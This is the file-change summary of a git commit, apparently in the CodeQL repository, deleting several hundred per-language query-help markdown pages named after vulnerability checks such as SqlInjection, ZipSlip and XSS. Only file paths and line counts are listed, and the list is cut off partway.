.../query-help/cpp/SignedOverflowCheck.md | 70 ------ docs/language/query-help/cpp/SizeCheck.md | 40 ---- docs/language/query-help/cpp/SizeCheck2.md | 41 ---- .../query-help/cpp/SnprintfOverflow.md | 66 ------ docs/language/query-help/cpp/SqlTainted.md | 43 ---- .../query-help/cpp/StrncpyFlippedArgs.md | 34 --- .../query-help/cpp/SuspiciousAddWithSizeof.md | 43 ---- .../query-help/cpp/SuspiciousCallToStrncat.md | 36 --- .../query-help/cpp/SuspiciousSizeof.md | 32 --- .../query-help/cpp/TOCTOUFilesystemRace.md | 74 ------- .../query-help/cpp/TaintedAllocationSize.md | 41 ---- .../query-help/cpp/TaintedCondition.md | 45 ---- docs/language/query-help/cpp/TaintedPath.md | 61 ------ .../query-help/cpp/TooFewArguments.md | 42 ---- .../language/query-help/cpp/UnboundedWrite.md | 42 ---- .../cpp/UncontrolledFormatString.md | 45 ---- ...ncontrolledFormatStringThroughGlobalVar.md | 56 ----- .../cpp/UncontrolledProcessOperation.md | 46 ---- .../query-help/cpp/UninitializedLocal.md | 61 ------ .../query-help/cpp/UnsafeCreateProcessCall.md | 53 ----- .../cpp/UnsafeDaclSecurityDescriptor.md | 52 ----- .../query-help/cpp/UnsafeUseOfStrcat.md | 43 ---- .../query-help/cpp/UnterminatedVarargsCall.md | 59 ----- .../query-help/cpp/WcharCharConversion.md | 41 ---- .../cpp/WrongNumberOfFormatArguments.md | 36 --- .../cpp/WrongTypeFormatArguments.md | 34 --- .../language/query-help/csharp/ASPNetDebug.md | 56 ----- .../csharp/ASPNetDirectoryListing.md | 48 ---- .../query-help/csharp/AbandonSession.md | 52 ----- .../csharp/AssemblyPathInjection.md | 71 ------ .../query-help/csharp/CleartextStorage.md | 64 ------ .../query-help/csharp/CodeInjection.md | 75 ------- .../query-help/csharp/CommandInjection.md | 45 ---- .../query-help/csharp/ConditionalBypass.md | 54 ----- .../csharp/CookieWithOverlyBroadDomain.md | 55 ----- .../csharp/CookieWithOverlyBroadPath.md | 52 ----- .../query-help/csharp/DeserializedDelegate.md | 44 ---- .../EmptyPasswordInConfigurationFile.md | 22 -- .../query-help/csharp/Encryption using ECB.md | 22 -- .../csharp/ExceptionInformationExposure.md | 65 ------ .../csharp/ExposureInTransmittedData.md | 66 ------ .../csharp/ExposureOfPrivateInformation.md | 44 ---- .../csharp/HardcodedConnectionString.md | 78 ------- .../query-help/csharp/HardcodedCredentials.md | 78 ------- .../csharp/HeaderCheckingDisabled.md | 22 -- .../query-help/csharp/InadequateRSAPadding.md | 23 -- .../query-help/csharp/InsecureRandomness.md | 66 ------ .../csharp/InsecureSQLConnection.md | 50 ----- .../query-help/csharp/InsufficientKeySize.md | 22 -- .../query-help/csharp/LDAPInjection.md | 85 ------- .../csharp/LocalUnvalidatedArithmetic.md | 66 ------ docs/language/query-help/csharp/LogForging.md | 54 ----- .../csharp/MissingASPNETGlobalErrorHandler.md | 71 ------ .../MissingAntiForgeryTokenValidation.md | 54 ----- .../query-help/csharp/MissingXFrameOptions.md | 56 ----- .../query-help/csharp/MissingXMLValidation.md | 72 ------ .../csharp/PasswordInConfigurationFile.md | 23 -- .../query-help/csharp/PersistentCookie.md | 21 -- docs/language/query-help/csharp/ReDoS.md | 57 ----- .../query-help/csharp/RegexInjection.md | 56 ----- docs/language/query-help/csharp/RequireSSL.md | 46 ---- .../query-help/csharp/ResourceInjection.md | 59 ----- .../query-help/csharp/RuntimeChecksBypass.md | 83 ------- .../csharp/SecondOrderSqlInjection.md | 86 -------- .../query-help/csharp/SqlInjection.md | 86 -------- .../csharp/StoredCommandInjection.md | 45 ---- .../query-help/csharp/StoredLDAPInjection.md | 85 ------- .../query-help/csharp/StoredXPathInjection.md | 64 ------ docs/language/query-help/csharp/StoredXSS.md | 43 ---- .../language/query-help/csharp/TaintedPath.md | 61 ------ .../csharp/ThreadUnsafeICryptoTransform.md | 132 ----------- .../ThreadUnsafeICryptoTransformLambda.md | 96 -------- .../csharp/UncontrolledFormatString.md | 47 ---- .../UnsafeDeserializationUntrustedInput.md | 60 ----- .../csharp/UntrustedDataInsecureXml.md | 45 ---- .../language/query-help/csharp/UrlRedirect.md | 50 ----- .../query-help/csharp/UseOfFileUpload.md | 27 --- .../query-help/csharp/ValueShadowing.md | 53 ----- .../csharp/ValueShadowingServerVariable.md | 52 ----- .../query-help/csharp/WeakEncryption.md | 45 ---- .../query-help/csharp/XMLInjection.md | 83 ------- .../query-help/csharp/XPathInjection.md | 64 ------ docs/language/query-help/csharp/XSS.md | 43 ---- docs/language/query-help/csharp/ZipSlip.md | 78 ------- .../query-help/go/AllocationSizeOverflow.md | 78 ------- .../query-help/go/BadRedirectCheck.md | 52 ----- .../query-help/go/CleartextLogging.md | 81 ------- .../query-help/go/CommandInjection.md | 46 ---- .../query-help/go/ConstantOauth2State.md | 96 -------- .../query-help/go/DisabledCertificateCheck.md | 48 ---- docs/language/query-help/go/EmailInjection.md | 66 ------ .../query-help/go/HardcodedCredentials.md | 56 ----- .../query-help/go/IncompleteHostnameRegexp.md | 75 ------- .../query-help/go/IncompleteUrlSchemeCheck.md | 60 ----- .../go/IncorrectIntegerConversion.md | 207 ------------------ .../query-help/go/InsecureHostKeyCallback.md | 87 -------- docs/language/query-help/go/InsecureTLS.md | 84 ------- .../query-help/go/MissingRegexpAnchor.md | 75 ------- .../language/query-help/go/OpenUrlRedirect.md | 71 ------ docs/language/query-help/go/ReflectedXss.md | 82 ------- docs/language/query-help/go/RequestForgery.md | 81 ------- docs/language/query-help/go/SqlInjection.md | 62 ------ docs/language/query-help/go/StringBreak.md | 72 ------ docs/language/query-help/go/TaintedPath.md | 61 ------ docs/language/query-help/go/XPathInjection.md | 65 ------ docs/language/query-help/go/ZipSlip.md | 78 ------- docs/language/query-help/index.rst | 17 +- .../query-help/java/ArithmeticTainted.md | 64 ------ .../query-help/java/ArithmeticUncontrolled.md | 54 ----- .../query-help/java/BrokenCryptoAlgorithm.md | 44 ---- .../query-help/java/CleartextStorageCookie.md | 62 ------ .../java/CleartextStorageProperties.md | 62 ------ .../java/ComparisonWithWiderType.md | 68 ------ .../query-help/java/ConditionalBypass.md | 54 ----- docs/language/query-help/java/ExecRelative.md | 41 ---- docs/language/query-help/java/ExecTainted.md | 42 ---- .../language/query-help/java/ExecUnescaped.md | 51 ----- .../java/ExternallyControlledFormatString.md | 66 ------ .../java/HardcodedCredentialsApiCall.md | 44 ---- .../ImproperValidationOfArrayConstruction.md | 63 ------ .../java/ImproperValidationOfArrayIndex.md | 64 ------ docs/language/query-help/java/InfiniteLoop.md | 48 ---- .../query-help/java/InformationLoss.md | 33 --- .../query-help/java/InsecureCookie.md | 46 ---- .../java/InsecureDependencyResolution.md | 135 ------------ .../language/query-help/java/IntMultToLong.md | 43 ---- .../language/query-help/java/LdapInjection.md | 142 ------------ .../java/MaybeBrokenCryptoAlgorithm.md | 44 ---- .../query-help/java/NettyResponseSplitting.md | 72 ------ .../query-help/java/NumericCastTainted.md | 64 ------ .../java/PotentiallyDangerousFunction.md | 50 ----- .../query-help/java/PredictableSeed.md | 46 ---- .../java/ReadingFromWorldWritableFile.md | 44 ---- .../query-help/java/ResponseSplitting.md | 72 ------ .../query-help/java/SocketAuthRace.md | 49 ----- .../query-help/java/SpringCSRFProtection.md | 48 ---- docs/language/query-help/java/SqlTainted.md | 122 ----------- docs/language/query-help/java/SqlUnescaped.md | 56 ----- .../query-help/java/StackTraceExposure.md | 54 ----- docs/language/query-help/java/TOCTOURace.md | 63 ------ docs/language/query-help/java/TaintedPath.md | 62 ------ .../java/TaintedPermissionsCheck.md | 44 ---- .../query-help/java/UnreleasedLock.md | 42 ---- .../query-help/java/UnsafeDeserialization.md | 59 ----- docs/language/query-help/java/UrlRedirect.md | 43 ---- docs/language/query-help/java/XSS.md | 39 ---- docs/language/query-help/java/XXE.md | 54 ----- docs/language/query-help/java/ZipSlip.md | 57 ----- .../javascript/AllowRunningInsecureContent.md | 37 ---- .../query-help/javascript/BadRandomness.md | 66 ------ .../javascript/BrokenCryptoAlgorithm.md | 43 ---- .../javascript/BuildArtifactLeak.md | 57 ----- .../query-help/javascript/CleartextLogging.md | 66 ------ .../query-help/javascript/CleartextStorage.md | 66 ------ .../javascript/ClientSideUrlRedirect.md | 33 --- .../query-help/javascript/CodeInjection.md | 34 --- .../query-help/javascript/CommandInjection.md | 42 ---- .../javascript/ConditionalBypass.md | 64 ------ .../CorsMisconfigurationForCredentials.md | 78 ------- .../DisablingCertificateValidation.md | 49 ----- .../query-help/javascript/DisablingSce.md | 55 ----- .../javascript/DisablingWebSecurity.md | 37 ---- .../query-help/javascript/DoubleEscaping.md | 73 ------ .../query-help/javascript/ExceptionXss.md | 45 ---- .../query-help/javascript/FileAccessToHttp.md | 42 ---- .../javascript/HardcodedCredentials.md | 44 ---- .../HardcodedDataInterpretedAsCode.md | 41 ---- .../HostHeaderPoisoningInEmailGeneration.md | 77 ------- .../query-help/javascript/HttpToFileAccess.md | 42 ---- .../javascript/IdentityReplacement.md | 38 ---- .../javascript/ImproperCodeSanitization.md | 63 ------ .../javascript/IncompleteHostnameRegExp.md | 47 ---- .../IncompleteHtmlAttributeSanitization.md | 61 ------ .../IncompleteMultiCharacterSanitization.md | 62 ------ .../javascript/IncompleteSanitization.md | 62 ------ .../javascript/IncompleteUrlSchemeCheck.md | 50 ----- .../IncompleteUrlSubstringSanitization.md | 75 ------- .../javascript/IncorrectSuffixCheck.md | 48 ---- .../javascript/IndirectCommandInjection.md | 55 ----- .../query-help/javascript/InsecureDownload.md | 48 ---- .../javascript/InsecureRandomness.md | 58 ----- .../javascript/InsecureUrlWhitelist.md | 49 ----- .../javascript/InsufficientPasswordHash.md | 49 ----- .../javascript/LoopBoundInjection.md | 64 ------ .../javascript/MissingCsrfMiddleware.md | 63 ------ .../javascript/MissingRateLimiting.md | 66 ------ .../javascript/MissingRegExpAnchor.md | 56 ----- .../javascript/PasswordInConfigurationFile.md | 23 -- .../query-help/javascript/PolynomialReDoS.md | 62 ------ .../query-help/javascript/PostMessageStar.md | 46 ---- .../javascript/PrivateFileExposure.md | 47 ---- .../javascript/PrototypePollution.md | 69 ------ .../javascript/PrototypePollutionUtility.md | 80 ------- docs/language/query-help/javascript/ReDoS.md | 48 ---- .../query-help/javascript/ReflectedXss.md | 63 ------ .../query-help/javascript/RegExpInjection.md | 59 ----- .../javascript/RemotePropertyInjection.md | 61 ------ .../query-help/javascript/RequestForgery.md | 69 ------ .../javascript/ServerSideUrlRedirect.md | 52 ----- .../ShellCommandInjectionFromEnvironment.md | 58 ----- .../query-help/javascript/SqlInjection.md | 57 ----- .../javascript/StackTraceExposure.md | 75 ------- .../query-help/javascript/StoredXss.md | 70 ------ .../javascript/TaintedFormatString.md | 52 ----- .../query-help/javascript/TaintedPath.md | 56 ----- .../query-help/javascript/TargetBlank.md | 40 ---- .../TypeConfusionThroughParameterTampering.md | 72 ------ .../javascript/UnsafeDeserialization.md | 52 ----- .../javascript/UnsafeDynamicMethodAccess.md | 71 ------ .../javascript/UnsafeHtmlExpansion.md | 59 ----- .../javascript/UnsafeJQueryPlugin.md | 57 ----- .../UnsafeShellCommandConstruction.md | 53 ----- .../UnvalidatedDynamicMethodCall.md | 112 ---------- .../UselessRegExpCharacterEscape.md | 37 ---- .../query-help/javascript/UselessUseOfCat.md | 51 ----- .../language/query-help/javascript/XmlBomb.md | 62 ------ .../query-help/javascript/XpathInjection.md | 65 ------ docs/language/query-help/javascript/Xss.md | 43 ---- .../query-help/javascript/XssThroughDom.md | 53 ----- docs/language/query-help/javascript/Xxe.md | 53 ----- .../language/query-help/javascript/ZipSlip.md | 68 ------ .../query-help/python/BindToAllInterfaces.md | 44 ---- .../python/BrokenCryptoAlgorithm.md | 49 ----- .../query-help/python/CleartextLogging.md | 49 ----- .../query-help/python/CleartextStorage.md | 49 ----- .../query-help/python/CodeInjection.md | 51 ----- .../query-help/python/CommandInjection.md | 56 ----- docs/language/query-help/python/FlaskDebug.md | 41 ---- .../query-help/python/HardcodedCredentials.md | 65 ------ .../python/IncompleteHostnameRegExp.md | 56 ----- .../IncompleteUrlSubstringSanitization.md | 88 -------- .../python/InsecureDefaultProtocol.md | 44 ---- .../query-help/python/InsecureProtocol.md | 53 ----- .../python/InsecureTemporaryFile.md | 51 ----- .../python/Jinja2WithoutEscaping.md | 59 ----- .../python/MissingHostKeyValidation.md | 49 ----- .../query-help/python/PathInjection.md | 81 ------- .../query-help/python/ReflectedXss.md | 46 ---- .../python/RequestWithoutValidation.md | 49 ----- .../query-help/python/SqlInjection.md | 56 ----- .../query-help/python/StackTraceExposure.md | 58 ----- docs/language/query-help/python/TarSlip.md | 62 ------ .../python/UnsafeDeserialization.md | 59 ----- .../language/query-help/python/UrlRedirect.md | 57 ----- docs/language/query-help/python/UseofInput.md | 22 -- docs/language/query-help/python/WeakCrypto.md | 28 --- .../query-help/python/WeakFilePermissions.md | 22 -- .../query-help/query-lists/query-list.csv | 196 ----------------- docs/language/query-help/toc-cpp.rst | 59 ----- docs/language/query-help/toc-csharp.rst | 61 ------ docs/language/query-help/toc-go.rst | 25 --- docs/language/query-help/toc-java.rst | 44 ---- docs/language/query-help/toc-javascript.rst | 76 ------- docs/language/query-help/toc-python.rst | 29 --- 286 files changed, 98 insertions(+), 16179 deletions(-) delete mode 100644 docs/language/query-help/cpp/AllocaInLoop.md delete mode 100644 docs/language/query-help/cpp/ArithmeticUncontrolled.md delete mode 100644 docs/language/query-help/cpp/AuthenticationBypass.md delete mode 100644 docs/language/query-help/cpp/BadAdditionOverflowCheck.md delete mode 100644 docs/language/query-help/cpp/BadlyBoundedWrite.md delete mode 100644 docs/language/query-help/cpp/BrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/cpp/CastArrayPointerArithmetic.md delete mode 100644 docs/language/query-help/cpp/CgiXss.md delete mode 100644 docs/language/query-help/cpp/CleartextBufferWrite.md delete mode 100644 docs/language/query-help/cpp/CleartextFileWrite.md delete mode 100644 docs/language/query-help/cpp/CleartextSqliteDatabase.md delete mode 100644 docs/language/query-help/cpp/ComparisonWithWiderType.md delete mode 100644 docs/language/query-help/cpp/DangerousFunctionOverflow.md delete mode 100644 docs/language/query-help/cpp/DangerousUseOfCin.md delete mode 100644 docs/language/query-help/cpp/DoNotCreateWorldWritable.md delete mode 100644 docs/language/query-help/cpp/HResultBooleanConversion.md delete mode 100644 docs/language/query-help/cpp/IncorrectNotOperatorUsage.md delete mode 100644 docs/language/query-help/cpp/IncorrectPointerScaling.md delete mode 100644 docs/language/query-help/cpp/IncorrectPointerScalingVoid.md delete mode 100644 docs/language/query-help/cpp/IntMultToLong.md delete mode 100644 docs/language/query-help/cpp/NewFreeMismatch.md delete mode 100644 docs/language/query-help/cpp/NoSpaceForZeroTerminator.md delete mode 100644 docs/language/query-help/cpp/NonConstantFormat.md delete mode 100644 docs/language/query-help/cpp/OffsetUseBeforeRangeCheck.md delete mode 100644 docs/language/query-help/cpp/OpenSslHeartbleed.md delete mode 100644 docs/language/query-help/cpp/OverflowStatic.md delete mode 100644 docs/language/query-help/cpp/OverrunWrite.md delete mode 100644 docs/language/query-help/cpp/OverrunWriteFloat.md delete mode 100644 docs/language/query-help/cpp/PointerOverflow.md delete mode 100644 docs/language/query-help/cpp/PotentiallyDangerousFunction.md delete mode 100644 docs/language/query-help/cpp/SignedOverflowCheck.md delete mode 100644 docs/language/query-help/cpp/SizeCheck.md delete mode 100644 docs/language/query-help/cpp/SizeCheck2.md delete mode 100644 docs/language/query-help/cpp/SnprintfOverflow.md delete mode 100644 docs/language/query-help/cpp/SqlTainted.md delete mode 100644 docs/language/query-help/cpp/StrncpyFlippedArgs.md delete mode 100644 docs/language/query-help/cpp/SuspiciousAddWithSizeof.md delete mode 100644 docs/language/query-help/cpp/SuspiciousCallToStrncat.md delete mode 100644 docs/language/query-help/cpp/SuspiciousSizeof.md delete mode 100644 docs/language/query-help/cpp/TOCTOUFilesystemRace.md delete mode 100644 docs/language/query-help/cpp/TaintedAllocationSize.md delete mode 100644 docs/language/query-help/cpp/TaintedCondition.md delete mode 100644 docs/language/query-help/cpp/TaintedPath.md delete mode 100644 docs/language/query-help/cpp/TooFewArguments.md delete mode 100644 docs/language/query-help/cpp/UnboundedWrite.md delete mode 100644 docs/language/query-help/cpp/UncontrolledFormatString.md delete mode 100644 docs/language/query-help/cpp/UncontrolledFormatStringThroughGlobalVar.md delete mode 100644 docs/language/query-help/cpp/UncontrolledProcessOperation.md delete mode 100644 docs/language/query-help/cpp/UninitializedLocal.md delete mode 100644 docs/language/query-help/cpp/UnsafeCreateProcessCall.md delete mode 100644 docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md delete mode 100644 docs/language/query-help/cpp/UnsafeUseOfStrcat.md delete mode 100644 docs/language/query-help/cpp/UnterminatedVarargsCall.md delete mode 100644 docs/language/query-help/cpp/WcharCharConversion.md delete mode 100644 docs/language/query-help/cpp/WrongNumberOfFormatArguments.md delete mode 100644 docs/language/query-help/cpp/WrongTypeFormatArguments.md delete mode 100644 docs/language/query-help/csharp/ASPNetDebug.md delete mode 100644 docs/language/query-help/csharp/ASPNetDirectoryListing.md delete mode 100644 docs/language/query-help/csharp/AbandonSession.md delete mode 100644 docs/language/query-help/csharp/AssemblyPathInjection.md delete mode 100644 docs/language/query-help/csharp/CleartextStorage.md delete mode 100644 docs/language/query-help/csharp/CodeInjection.md delete mode 100644 docs/language/query-help/csharp/CommandInjection.md delete mode 100644 docs/language/query-help/csharp/ConditionalBypass.md delete mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md delete mode 100644 docs/language/query-help/csharp/CookieWithOverlyBroadPath.md delete mode 100644 docs/language/query-help/csharp/DeserializedDelegate.md delete mode 100644 docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md delete mode 100644 docs/language/query-help/csharp/Encryption using ECB.md delete mode 100644 docs/language/query-help/csharp/ExceptionInformationExposure.md delete mode 100644 docs/language/query-help/csharp/ExposureInTransmittedData.md delete mode 100644 docs/language/query-help/csharp/ExposureOfPrivateInformation.md delete mode 100644 docs/language/query-help/csharp/HardcodedConnectionString.md delete mode 100644 docs/language/query-help/csharp/HardcodedCredentials.md delete mode 100644 docs/language/query-help/csharp/HeaderCheckingDisabled.md delete mode 100644 docs/language/query-help/csharp/InadequateRSAPadding.md delete mode 100644 docs/language/query-help/csharp/InsecureRandomness.md delete mode 100644 docs/language/query-help/csharp/InsecureSQLConnection.md delete mode 100644 docs/language/query-help/csharp/InsufficientKeySize.md delete mode 100644 docs/language/query-help/csharp/LDAPInjection.md delete mode 100644 docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md delete mode 100644 docs/language/query-help/csharp/LogForging.md delete mode 100644 docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md delete mode 100644 docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md delete mode 100644 docs/language/query-help/csharp/MissingXFrameOptions.md delete mode 100644 docs/language/query-help/csharp/MissingXMLValidation.md delete mode 100644 docs/language/query-help/csharp/PasswordInConfigurationFile.md delete mode 100644 docs/language/query-help/csharp/PersistentCookie.md delete mode 100644 docs/language/query-help/csharp/ReDoS.md delete mode 100644 docs/language/query-help/csharp/RegexInjection.md delete mode 100644 docs/language/query-help/csharp/RequireSSL.md delete mode 100644 docs/language/query-help/csharp/ResourceInjection.md delete mode 100644 docs/language/query-help/csharp/RuntimeChecksBypass.md delete mode 100644 docs/language/query-help/csharp/SecondOrderSqlInjection.md delete mode 100644 docs/language/query-help/csharp/SqlInjection.md delete mode 100644 docs/language/query-help/csharp/StoredCommandInjection.md delete mode 100644 docs/language/query-help/csharp/StoredLDAPInjection.md delete mode 100644 docs/language/query-help/csharp/StoredXPathInjection.md delete mode 100644 docs/language/query-help/csharp/StoredXSS.md delete mode 100644 docs/language/query-help/csharp/TaintedPath.md delete mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md delete mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md delete mode 100644 docs/language/query-help/csharp/UncontrolledFormatString.md delete mode 100644 docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md delete mode 100644 docs/language/query-help/csharp/UntrustedDataInsecureXml.md delete mode 100644 docs/language/query-help/csharp/UrlRedirect.md delete mode 100644 docs/language/query-help/csharp/UseOfFileUpload.md delete mode 100644 docs/language/query-help/csharp/ValueShadowing.md delete mode 100644 docs/language/query-help/csharp/ValueShadowingServerVariable.md delete mode 100644 docs/language/query-help/csharp/WeakEncryption.md delete mode 100644 docs/language/query-help/csharp/XMLInjection.md delete mode 100644 docs/language/query-help/csharp/XPathInjection.md delete mode 100644 docs/language/query-help/csharp/XSS.md delete mode 100644 docs/language/query-help/csharp/ZipSlip.md delete mode 100644 docs/language/query-help/go/AllocationSizeOverflow.md delete mode 100644 docs/language/query-help/go/BadRedirectCheck.md delete mode 100644 docs/language/query-help/go/CleartextLogging.md delete mode 100644 docs/language/query-help/go/CommandInjection.md delete mode 100644 docs/language/query-help/go/ConstantOauth2State.md delete mode 100644 docs/language/query-help/go/DisabledCertificateCheck.md delete mode 100644 docs/language/query-help/go/EmailInjection.md delete mode 100644 docs/language/query-help/go/HardcodedCredentials.md delete mode 100644 docs/language/query-help/go/IncompleteHostnameRegexp.md delete mode 100644 docs/language/query-help/go/IncompleteUrlSchemeCheck.md delete mode 100644 docs/language/query-help/go/IncorrectIntegerConversion.md delete mode 100644 docs/language/query-help/go/InsecureHostKeyCallback.md delete mode 100644 docs/language/query-help/go/InsecureTLS.md delete mode 100644 docs/language/query-help/go/MissingRegexpAnchor.md delete mode 100644 docs/language/query-help/go/OpenUrlRedirect.md delete mode 100644 docs/language/query-help/go/ReflectedXss.md delete mode 100644 docs/language/query-help/go/RequestForgery.md delete mode 100644 docs/language/query-help/go/SqlInjection.md delete mode 100644 docs/language/query-help/go/StringBreak.md delete mode 100644 docs/language/query-help/go/TaintedPath.md delete mode 100644 docs/language/query-help/go/XPathInjection.md delete mode 100644 docs/language/query-help/go/ZipSlip.md delete mode 100644 docs/language/query-help/java/ArithmeticTainted.md delete mode 100644 docs/language/query-help/java/ArithmeticUncontrolled.md delete mode 100644 docs/language/query-help/java/BrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/java/CleartextStorageCookie.md delete mode 100644 docs/language/query-help/java/CleartextStorageProperties.md delete mode 100644 docs/language/query-help/java/ComparisonWithWiderType.md delete mode 100644 docs/language/query-help/java/ConditionalBypass.md delete mode 100644 docs/language/query-help/java/ExecRelative.md delete mode 100644 docs/language/query-help/java/ExecTainted.md delete mode 100644 docs/language/query-help/java/ExecUnescaped.md delete mode 100644 docs/language/query-help/java/ExternallyControlledFormatString.md delete mode 100644 docs/language/query-help/java/HardcodedCredentialsApiCall.md delete mode 100644 docs/language/query-help/java/ImproperValidationOfArrayConstruction.md delete mode 100644 docs/language/query-help/java/ImproperValidationOfArrayIndex.md delete mode 100644 docs/language/query-help/java/InfiniteLoop.md delete mode 100644 docs/language/query-help/java/InformationLoss.md delete mode 100644 docs/language/query-help/java/InsecureCookie.md delete mode 100644 docs/language/query-help/java/InsecureDependencyResolution.md delete mode 100644 docs/language/query-help/java/IntMultToLong.md delete mode 100644 docs/language/query-help/java/LdapInjection.md delete mode 100644 docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/java/NettyResponseSplitting.md delete mode 100644 docs/language/query-help/java/NumericCastTainted.md delete mode 100644 docs/language/query-help/java/PotentiallyDangerousFunction.md delete mode 100644 docs/language/query-help/java/PredictableSeed.md delete mode 100644 docs/language/query-help/java/ReadingFromWorldWritableFile.md delete mode 100644 docs/language/query-help/java/ResponseSplitting.md delete mode 100644 docs/language/query-help/java/SocketAuthRace.md delete mode 100644 docs/language/query-help/java/SpringCSRFProtection.md delete mode 100644 docs/language/query-help/java/SqlTainted.md delete mode 100644 docs/language/query-help/java/SqlUnescaped.md delete mode 100644 docs/language/query-help/java/StackTraceExposure.md delete mode 100644 docs/language/query-help/java/TOCTOURace.md delete mode 100644 docs/language/query-help/java/TaintedPath.md delete mode 100644 docs/language/query-help/java/TaintedPermissionsCheck.md delete mode 100644 docs/language/query-help/java/UnreleasedLock.md delete mode 100644 docs/language/query-help/java/UnsafeDeserialization.md delete mode 100644 docs/language/query-help/java/UrlRedirect.md delete mode 100644 docs/language/query-help/java/XSS.md delete mode 100644 docs/language/query-help/java/XXE.md delete mode 100644 docs/language/query-help/java/ZipSlip.md delete mode 100644 docs/language/query-help/javascript/AllowRunningInsecureContent.md delete mode 100644 docs/language/query-help/javascript/BadRandomness.md delete mode 100644 docs/language/query-help/javascript/BrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/javascript/BuildArtifactLeak.md delete mode 100644 docs/language/query-help/javascript/CleartextLogging.md delete mode 100644 docs/language/query-help/javascript/CleartextStorage.md delete mode 100644 docs/language/query-help/javascript/ClientSideUrlRedirect.md delete mode 100644 docs/language/query-help/javascript/CodeInjection.md delete mode 100644 docs/language/query-help/javascript/CommandInjection.md delete mode 100644 docs/language/query-help/javascript/ConditionalBypass.md delete mode 100644 docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md delete mode 100644 docs/language/query-help/javascript/DisablingCertificateValidation.md delete mode 100644 docs/language/query-help/javascript/DisablingSce.md delete mode 100644 docs/language/query-help/javascript/DisablingWebSecurity.md delete mode 100644 docs/language/query-help/javascript/DoubleEscaping.md delete mode 100644 docs/language/query-help/javascript/ExceptionXss.md delete mode 100644 docs/language/query-help/javascript/FileAccessToHttp.md delete mode 100644 docs/language/query-help/javascript/HardcodedCredentials.md delete mode 100644 docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md delete mode 100644 docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md delete mode 100644 docs/language/query-help/javascript/HttpToFileAccess.md delete mode 100644 docs/language/query-help/javascript/IdentityReplacement.md delete mode 100644 docs/language/query-help/javascript/ImproperCodeSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteHostnameRegExp.md delete mode 100644 docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteSanitization.md delete mode 100644 docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md delete mode 100644 docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md delete mode 100644 docs/language/query-help/javascript/IncorrectSuffixCheck.md delete mode 100644 docs/language/query-help/javascript/IndirectCommandInjection.md delete mode 100644 docs/language/query-help/javascript/InsecureDownload.md delete mode 100644 docs/language/query-help/javascript/InsecureRandomness.md delete mode 100644 docs/language/query-help/javascript/InsecureUrlWhitelist.md delete mode 100644 docs/language/query-help/javascript/InsufficientPasswordHash.md delete mode 100644 docs/language/query-help/javascript/LoopBoundInjection.md delete mode 100644 docs/language/query-help/javascript/MissingCsrfMiddleware.md delete mode 100644 docs/language/query-help/javascript/MissingRateLimiting.md delete mode 100644 docs/language/query-help/javascript/MissingRegExpAnchor.md delete mode 100644 docs/language/query-help/javascript/PasswordInConfigurationFile.md delete mode 100644 docs/language/query-help/javascript/PolynomialReDoS.md delete mode 100644 docs/language/query-help/javascript/PostMessageStar.md delete mode 100644 docs/language/query-help/javascript/PrivateFileExposure.md delete mode 100644 docs/language/query-help/javascript/PrototypePollution.md delete mode 100644 docs/language/query-help/javascript/PrototypePollutionUtility.md delete mode 100644 docs/language/query-help/javascript/ReDoS.md delete mode 100644 docs/language/query-help/javascript/ReflectedXss.md delete mode 100644 docs/language/query-help/javascript/RegExpInjection.md delete mode 100644 docs/language/query-help/javascript/RemotePropertyInjection.md delete mode 100644 docs/language/query-help/javascript/RequestForgery.md delete mode 100644 docs/language/query-help/javascript/ServerSideUrlRedirect.md delete mode 100644 docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md delete mode 100644 docs/language/query-help/javascript/SqlInjection.md delete mode 100644 docs/language/query-help/javascript/StackTraceExposure.md delete mode 100644 docs/language/query-help/javascript/StoredXss.md delete mode 100644 docs/language/query-help/javascript/TaintedFormatString.md delete mode 100644 docs/language/query-help/javascript/TaintedPath.md delete mode 100644 docs/language/query-help/javascript/TargetBlank.md delete mode 100644 docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md delete mode 100644 docs/language/query-help/javascript/UnsafeDeserialization.md delete mode 100644 docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md delete mode 100644 docs/language/query-help/javascript/UnsafeHtmlExpansion.md delete mode 100644 docs/language/query-help/javascript/UnsafeJQueryPlugin.md delete mode 100644 docs/language/query-help/javascript/UnsafeShellCommandConstruction.md delete mode 100644 docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md delete mode 100644 docs/language/query-help/javascript/UselessRegExpCharacterEscape.md delete mode 100644 docs/language/query-help/javascript/UselessUseOfCat.md delete mode 100644 docs/language/query-help/javascript/XmlBomb.md delete mode 100644 docs/language/query-help/javascript/XpathInjection.md delete mode 100644 docs/language/query-help/javascript/Xss.md delete mode 100644 docs/language/query-help/javascript/XssThroughDom.md delete mode 100644 docs/language/query-help/javascript/Xxe.md delete mode 100644 docs/language/query-help/javascript/ZipSlip.md delete mode 100644 docs/language/query-help/python/BindToAllInterfaces.md delete mode 100644 docs/language/query-help/python/BrokenCryptoAlgorithm.md delete mode 100644 docs/language/query-help/python/CleartextLogging.md delete mode 100644 docs/language/query-help/python/CleartextStorage.md delete mode 100644 docs/language/query-help/python/CodeInjection.md delete mode 100644 docs/language/query-help/python/CommandInjection.md delete mode 100644 docs/language/query-help/python/FlaskDebug.md 